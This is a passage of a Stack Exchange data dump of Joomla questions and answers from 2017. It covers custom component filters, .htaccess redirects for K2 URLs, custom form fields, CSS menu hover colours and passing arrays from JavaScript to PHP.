onchange=&quot;this.form.submit();&quot; filter=&quot;safehtml&quot; class=&quot;inputbox&quot;/&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added the following two lines of code to &lt;em&gt;site/views/sessions/view.html.php&lt;/em&gt; within the display() function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;filterForm = $this-&amp;gt;get('FilterForm');&#xA;$this-&amp;gt;activeFilters = $this-&amp;gt;get('ActiveFilters');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And finally (and I am sure this is terrible Joomla coding practice), I hard-coded the following lines of code into my &lt;em&gt;site/views/sessions/tmpl/default.php&lt;/em&gt; right after the opening of the form div and before the table list view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- Calendar filter --&amp;gt;&#xA;    &amp;lt;script src=&quot;http://www.dynarch.com/jscal/jscal/src/js/jscal2.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;http://www.dynarch.com/jscal/jscal/src/js/lang/en.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://www.dynarch.com/jscal/jscal/src/css/jscal2.css&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://www.dynarch.com/jscal/jscal/src/css/border-radius.css&quot; /&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;sample1&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;Calendar.setup({&#xA;    cont: &quot;sample1&quot;,&#xA;    onSelect   : function() { &#xA;        var date = Calendar.intToDate(this.selection.get());&#xA;        document.getElementById('filter_date_from_dateformat').value=date;&#xA;        document.getElementById('adminForm').submit();&#xA;        }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter[date_from_dateformat]&quot; id=&quot;filter_date_from_dateformat&quot; value=&quot;&quot; class=&quot;inputbox&quot;;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I install my new component in Joomla, I receive a filter that looks like this and allows me to filter db results by selecting a single date from a calendar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r4xLC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4xLC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In explanation, the modifications to &lt;em&gt;sessions.php&lt;/em&gt; allowed me to filter the list results by a single variable, received from a text field on the list view. The &lt;em&gt;filter_sessions.xml&lt;/em&gt;, has the ability to set up filter fields which can be dynamically displayed in the list view. Since I didn't want to use the built-in Joomla filter capabilities, I decided to hard-code these filters into default.php. However, I still needed the &lt;em&gt;filter_sessions.xml&lt;/em&gt; file in place and the two inclusions in &lt;em&gt;view.html.php&lt;/em&gt; to get the final form to work. The modifications to &lt;em&gt;default.php&lt;/em&gt; hard-code php code which will appear in the final rendering of the list view, complete with the .js and .css inclusions and calendar function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps somebody else in the future. If anybody has any insight on how I could do this more properly, I would love to hear it. Thank you!&lt;/p&gt;&#xA;" OwnerUserId="10936" LastActivityDate="2017-04-23T16:23:21.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20630" PostTypeId="1" CreationDate="2017-04-24T07:35:13.383" Score="1" ViewCount="235" Body="&lt;p&gt;I have a lot of URLs like this: www.mywebsite.com/blog/item/1021-le-foreste.html that becomes, after SEF changes, like this: www.mywebsite.com/blog/le-foreste.html How can I write an .htaccess rule that say something like: where you find an URL with &quot;item&quot; word and ID number redirect to the same URL without &quot;item&quot; word and ID number, please? Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="10978" LastActivityDate="2017-08-22T18:06:33.330" Title="Joomla K2 articles redirect" Tags="|k2|sef|redirect|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20631" PostTypeId="2" ParentId="20630" CreationDate="2017-04-24T14:08:47.783" Score="1" Body="&lt;p&gt;Add this line to the very beginning of your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RedirectMatch 301 /blog/item/(\d+)-(.*) /blog/$2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;This part &lt;code&gt;(\d+)&lt;/code&gt; matches any number immediately after &lt;code&gt;/blog/item/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;This part &lt;code&gt;(.*)&lt;/code&gt; matches anything after the first dash.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$2&lt;/code&gt; represents what &lt;code&gt;(.*)&lt;/code&gt; matches, which is anything after the number and the hyphen (note that &lt;code&gt;$1&lt;/code&gt; will be the number, which is 1021 in the case of your example above)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-24T14:08:47.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20632" PostTypeId="2" ParentId="19213" CreationDate="2017-04-24T14:12:59.453" Score="0" Body="&lt;p&gt;We had this problem last week with a client. Remove the value of the &lt;code&gt;$live_url&lt;/code&gt; from your &lt;code&gt;configuration.php&lt;/code&gt; file. This should fix the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you should have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $live_site = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-24T14:12:59.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20633" PostTypeId="2" ParentId="20626" CreationDate="2017-04-24T14:21:14.560" Score="1" Body="&lt;p&gt;A few questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you sure about the permissions on your website?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens if you remove the &lt;code&gt;.htaccess&lt;/code&gt; file from your main Joomla folder (the one that you pasted above)? Will the problem be fixed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, is there any &lt;code&gt;.htaccess&lt;/code&gt; file under your administrator folder? If there is one, can you remove it and see if that helps?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What happens if you rename the &lt;code&gt;plugins&lt;/code&gt; folder to &lt;code&gt;plugins_old&lt;/code&gt; - will it work? If yes, then your problem lies with a security plugin, and you should disable it from &lt;code&gt;phpMyAdmin&lt;/code&gt; (it is in the &lt;code&gt;#__extensions&lt;/code&gt; table).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-24T14:21:14.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20634" PostTypeId="2" ParentId="16554" CreationDate="2017-04-24T14:29:26.167" Score="1" Body="&lt;p&gt;I would say (even though you're saying that you already checked that), that the problem is caused by duplicate aliases. I recommend you check that the alias does not exist twice in the &lt;code&gt;#__content&lt;/code&gt; table (you can do that in &lt;code&gt;phpMyAdmin&lt;/code&gt;). You will have this problem even if the duplicate alias is in an article that is trashed (that's why it is also important to delete your trashed articles).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, we did publish an article a long time ago on removing the id from the SEF URL (it is &lt;a href=&quot;http://www.itoctopus.com/how-to-remove-the-article-id-from-joomlas-sef-urls&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;), and someone posted a comment on how to do this in a very simple plugin (instead of a core change).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-04-24T14:29:26.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20635" PostTypeId="2" ParentId="20623" CreationDate="2017-04-24T16:29:43.863" Score="2" Body="&lt;p&gt;Go to Global Configuration and check Cookie Settings. Most probably your cookie settings are same for both domains and they both are sharing same cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tr6QN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tr6QN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2017-04-24T16:29:43.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20636" PostTypeId="2" ParentId="20626" CreationDate="2017-04-24T18:19:48.597" Score="0" Body="&lt;p&gt;Some things to try that have sometimes worked when I've had this happen to me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rename .htaccess to old.htaccess to disable it temporarily, and do the same if there is one in /administrator folder&lt;/li&gt;&#xA;&lt;li&gt;check your file permissions are OK&lt;/li&gt;&#xA;&lt;li&gt;try accessing the administrator with index.php included in the file path (e.g. localhost/tp/administrator/index.php ).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9710" LastActivityDate="2017-04-24T18:19:48.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20637" PostTypeId="2" ParentId="19483" CreationDate="2017-04-24T18:26:52.977" Score="1" Body="&lt;p&gt;When I click on your site it looks like it's using the new template but your homepage is set incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the administrator back-end go into your menus and click the gold star to on the menu item that you would like to be your homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sample data, looking at the theme creator's site, the sample data is only included in their paid option. Did you purchase the theme? The free version doesn't include it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this link and scroll to the pricing and accordions at the bottom &quot;How to make template like demo&quot;: &lt;a href=&quot;https://ltheme.com/project/lt-news-responsive-magazine-news-joomla-template/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ltheme.com/project/lt-news-responsive-magazine-news-joomla-template/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SbIXT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SbIXT.jpg&quot; alt=&quot;theme creators info&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9710" LastActivityDate="2017-04-24T18:26:52.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20638" PostTypeId="1" CreationDate="2017-04-25T04:38:07.237" Score="0" ViewCount="310" Body="&lt;p&gt;I am developing a plugin. I have one textbox.  When I give some value in the textbox and click on &quot;Save&quot; button, the value of the textbox should be validated by sending a curl request. If it is not a valid value, then the plugin should not be saved and an error should be thrown. If the value is a valid one, only then it should be saved succesfully and the default message should popup &quot;Plugin saved successfully&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the link to my Code: &lt;a href=&quot;https://codeshare.io/aYzgEE&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codeshare.io/aYzgEE&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please check out the picture below, This is how my joomla plugin looks like. When I have empty textbox, An error message should be displayed.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QZIwm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QZIwm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10995" LastEditorUserId="126" LastEditDate="2017-07-27T07:04:58.167" LastActivityDate="2017-11-24T09:42:01.400" Title="Validate plugin data before saving successfully" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20639" PostTypeId="1" AcceptedAnswerId="20640" CreationDate="2017-04-25T15:12:24.563" Score="2" ViewCount="132" Body="&lt;p&gt;I have created a content plugin which adds extra field on Joomla default article editor window and everything working as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is with existing/old articles created before installing the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here what I added on template/html/com_content/article/default.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$checkPlugin = JPluginHelper::getPlugin('content', 'customdata');&#xA;&#xA;&amp;lt;?php if ($checkPlugin &amp;amp;&amp;amp; !empty($attributes-&amp;gt;subtitle) : ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;?php echo $attributes-&amp;gt;subtitle; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's working perfectly when I add new article, but with existing articles showing below error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice: Undefined property: stdClass::$subtitle in .......\html\com_content\article\default.php on line 41&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="9244" LastActivityDate="2017-04-25T23:42:35.297" Title="How to insert data properly in Joomla article with content plugin?" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20640" PostTypeId="2" ParentId="20639" CreationDate="2017-04-25T15:20:51.573" Score="2" Body="&lt;p&gt;Try using &lt;code&gt;isset()&lt;/code&gt; to check if the object property is actualy set, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($attributes-&amp;gt;subtitle) &amp;amp;&amp;amp; isset($attributes-&amp;gt;subtitle)) : ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;?php echo $attributes-&amp;gt;subtitle; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-04-25T23:42:35.297" LastActivityDate="2017-04-25T23:42:35.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20642" PostTypeId="1" CreationDate="2017-04-26T10:06:13.183" Score="1" ViewCount="649" Body="&lt;p&gt;I created a custom component and in the form one custom field &lt;code&gt;categoryList&lt;/code&gt; to list all categories dynamically. Following is the code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;formname.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset addfieldpath=&quot;/administrator/components/com_componentname/models/fields&quot;&amp;gt;&#xA; &amp;lt;field name=&quot;id&quot; type=&quot;text&quot; readonly=&quot;true&quot; class=&quot;readonly&quot; default=&quot;0&quot; description=&quot;JGLOBAL_FIELD_ID_DESC&quot;/&amp;gt;&#xA;&#xA; &amp;lt;field name=&quot;cat_id_01&quot; type=&quot;categoryList&quot; onchange=&quot;loadSubcategory(1)&quot; label=&quot;Category 1&quot; description=&quot;Category&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Please select&amp;lt;/option&amp;gt;&#xA; &amp;lt;/field&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;edit.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('cat_id_01'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How it appears on localhost:&lt;/strong&gt; it displays as select-box with category options. This is how I want it to be displayed. &lt;code&gt;php version: 7.0.0&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;models/fields/categoryList.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JFormHelper::loadFieldClass('list');&#xA;&#xA;            /**&#xA;             * Supports an HTML select list of categories&#xA;             *&#xA;             * @since  1.6&#xA;             */&#xA;            class JFormFieldCategoryList extends JFormFieldList&#xA;            {&#xA;                /**&#xA;                 * The form field type.&#xA;                 *&#xA;                 * @var        string&#xA;                 * @since    1.6&#xA;                 */&#xA;                protected $type = 'categoryList';&#xA;&#xA;                /**&#xA;                 * Method to get the field input markup.&#xA;                 *&#xA;                 * @return    string    The field input markup.&#xA;                 *&#xA;                 * @since    1.6&#xA;                 */&#xA;                public function getOptions()&#xA;                {&#xA;                    $categories[NULL] = 'Please Select';&#xA;                    $jinput = JFactory::getApplication()-&amp;gt;input;&#xA;                    $db = JFactory::getDbo();&#xA;                    $query = 'SELECT id, title FROM `#__categories` WHERE parent_id IN (SELECT id from `#__categories` where title=&quot;'.$jinput-&amp;gt;get('section').'&quot;)';&#xA;                    $rows = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectlist();&#xA;                    foreach ($rows as $row) {&#xA;                        $categories[$row-&amp;gt;id] = $row-&amp;gt;title;&#xA;                    }&#xA;&#xA;                    return $categories;&#xA;                }&#xA;&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How it appears on server:&lt;/strong&gt; it displays as textbox and somehow the custom field is not working on server. &lt;code&gt;php version: 7.0.17&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;jform[cat_id_01]&quot; id=&quot;jform_cat_id_01&quot; value=&quot;110&quot; list=&quot;jform_cat_id_01_datalist&quot; onchange=&quot;loadSubcategory(1)&quot;&amp;gt;&amp;lt;datalist id=&quot;jform_cat_id_01_datalist&quot;&amp;gt;&amp;lt;/datalist&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Joomla version:&lt;/strong&gt; 3.6.5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I want to display the field as selectbox on server as well.  &lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2017-04-26T10:18:02.450" LastActivityDate="2020-02-25T13:03:15.427" Title="Custom form field not working on server" Tags="|joomla-3.x|custom-component|custom-field|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20644" PostTypeId="1" AcceptedAnswerId="20647" CreationDate="2017-04-26T11:31:22.627" Score="1" ViewCount="590" Body="&lt;p&gt;I am having problems with bootstrap and Joomla with the collapsable nav menu. The site is at the link below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://spiffingtestdomain.com/bpp/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://spiffingtestdomain.com/bpp/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've inserted the example collapsable navbar directly from the Bootstrap documentation underneath the menu I'm working on, and that doesn't work correctly, either. I'm sure I'm missing classes on my nav, but I can work that out if I can get the sample menu working. It is always collapsed as if displaying for mobile regardless of the screen width. I've checked the usual suspects (not loading jquery, not loading bootstrap files, screenwidth threshold) and none of this has helped. I'm not sure what I'm missing here. Can anyone help on this?&lt;/p&gt;&#xA;" OwnerUserId="10998" LastActivityDate="2018-02-20T23:23:46.943" Title="Bootstrap responsive menu not working for desktop" Tags="|joomla-3.x|bootstrap|navigation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20645" PostTypeId="1" CreationDate="2017-04-26T15:35:31.987" Score="3" ViewCount="1190" Body="&lt;p&gt;im trying to send an array from javascript to Joomla 3.x php file. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var options = ['foo', 'bar'];&#xA;&#xA;$.post('index.php?option=component&amp;amp;view=componentview&amp;amp;Itemid=123&amp;amp;tmpl=component&amp;amp;layout=xlsx', {'xlsx_options': options})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, I have a php file which creates data in order to download xlsx file. But I need to filter by this options array and Im not able to retrieve it. I've tried this without success.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xlsx = $_POST['xlsx_options'];&#xA;$xlsx = json_decode($_POST['xlsx_options'], true);&#xA;$xlsx = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('xlsx_options');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11000" LastActivityDate="2018-11-18T05:02:50.647" Title="Send array from javascript to php by POST in Joomla 3.x" Tags="|joomla-3.x|php|javascript|jquery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20646" PostTypeId="2" ParentId="20645" CreationDate="2017-04-26T16:23:35.397" Score="1" Body="&lt;p&gt;You firstly need to encode your array in Javascript, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var options = JSON.stringify(['foo', 'bar']);&#xA;&#xA;$.post('index.php?option=component&amp;amp;view=componentview&amp;amp;Itemid=123&amp;amp;tmpl=component&amp;amp;layout=xlsx&amp;amp;options=' + options);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your PHP code, use the following instead of &lt;code&gt;$_POST&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;$xlsx  = json_decode($input-&amp;gt;get('xlsx_options'));&#xA;&#xA;echo $xlsx-&amp;gt;foo;&#xA;echo $xlsx-&amp;gt;bar;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-04-26T16:23:35.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20647" PostTypeId="2" ParentId="20644" CreationDate="2017-04-26T16:54:25.840" Score="0" Body="&lt;p&gt;I have solved the issue. Thanks to FFrewin for pointing me in the right direction. After testing a vanilla version of the menu, I used external bootstrap files from an example, rather than the ones bundled with Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.s. note to future self: ALWAYS load JQuery first...&lt;/p&gt;&#xA;" OwnerUserId="10998" LastActivityDate="2017-04-26T16:54:25.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20649" PostTypeId="1" CreationDate="2017-04-27T08:55:29.400" Score="0" ViewCount="63" Body="&lt;p&gt;I'm setting up a site for development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not starting from scratch, I downloaded a live site, and now placed it in a dev environment to update some parts of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is, when I enter the www.url.com/administration, it automatically adds a prefix to it (www.url.com/en/administration) which then results in a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried turning of SEF and such, but so far I haven't figured out how to work around the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11003" LastActivityDate="2017-05-29T17:41:50.677" Title="Joomla redirecting site to /en and I can't access the administrator panel" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20650" PostTypeId="1" AcceptedAnswerId="20653" CreationDate="2017-04-27T12:29:10.953" Score="0" ViewCount="124" Body="&lt;p&gt;I'm baffling myself with this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updated: I had to make some CSS menu changes and now the previous solution no longer works - Any suggestions? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Joomla main menu set up and when you hover over a menu item the background-color is #f2dabd and the color is #8d0000, however when i hover over a parent menu item,  the dropdown appears as expected, but if i then hover over a child item the parent menu title font colour changes (the parent item is neither :active or :hover but the hover background color still applies. I cannot seem to figure out how to prevent it from doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its a little hard to explain so I will provide a link to the development site in question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok so if you hover over the menu item Services then without clicking, hover over one of the child items such as Restoration, you will see that the 'Services' text changes colour to match the hover background color. I just can't seem to figure out how to target it with css?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advise would be most appreciated.&#xA;Regards&#xA;D&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="7973" LastEditDate="2017-05-10T23:52:50.007" LastActivityDate="2017-05-10T23:52:50.007" Title="UPDATED: Prevent font color from changing when hovering over child menu item" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20651" PostTypeId="2" ParentId="20649" CreationDate="2017-04-27T13:28:41.427" Score="0" Body="&lt;p&gt;If you are not planning on making it a multilingual site, then make sure you disable these two plugins:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;System - Language Filter&lt;br/&gt;&#xA;System - Language Code&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-04-27T13:28:41.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20652" PostTypeId="1" AcceptedAnswerId="20668" CreationDate="2017-04-27T15:05:59.443" Score="1" ViewCount="107" Body="&lt;p&gt;I have a joomla! site installed in the root of my website and (it's a long story I can't solve right now) some other joomla! sites installed each in its own subfolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I upgraded joomla! to the latest version (3.7.0) on the root site, and for some reason the sites in the subfolders don't ask me for the upgrade, as if it had already been done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has it really already been done when I upgraded the site at the upper level? (This would work if there was some sort of plugin that looks for all instances of everything to be changed and updates them - this would not work if it looked in the proper paths and so only things outside the custom subfolders with my other sites really got touched)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it just that something at the upper level acts as a flag and the sites in the subfolders just &quot;think&quot; that the upgrade has already been done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to ensure that all subfoldered sites get properly updated (until I finally get to remove that joomla! install from the upper folder)?&lt;/p&gt;&#xA;" OwnerUserId="9348" LastActivityDate="2017-04-29T03:09:55.397" Title="Joomla is already up to date - but I never updated it" Tags="|update|one-click-updates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20653" PostTypeId="2" ParentId="20650" CreationDate="2017-04-27T16:06:11.160" Score="3" Body="&lt;p&gt;The hover colour appears to be set when you hover over the &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; that contains your title, but your sub-menu is not part of this tag. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simplified version of your menu item is as follows...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li&amp;gt;&#xA;  &amp;lt;span class=&quot;zen-menu-heading&quot;&amp;gt;MENU ITEM TITLE&amp;lt;/span&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&amp;lt;!-- SUBMENU !--&amp;gt;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the css being applied...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#menu ul &amp;gt; li span.zen-menu-heading:hover {&#xA;    color: #8d0000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that when you roll out of the title area onto the sub-menu, this CSS no longer be applied because you are no longer hovering over the &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The background colour of the tab works because it is set on hovering over the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; tag that contains both your title &lt;em&gt;and&lt;/em&gt; the submenu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try deleting the &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; hover effect and instead set the colour when you hover over the &lt;code&gt;&amp;lt;li&amp;gt;&lt;/code&gt; ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.zen-menu-horizontal ul li:hover span.zen-menu-heading {&#xA;    color: #8d0000;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-04-27T16:06:11.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
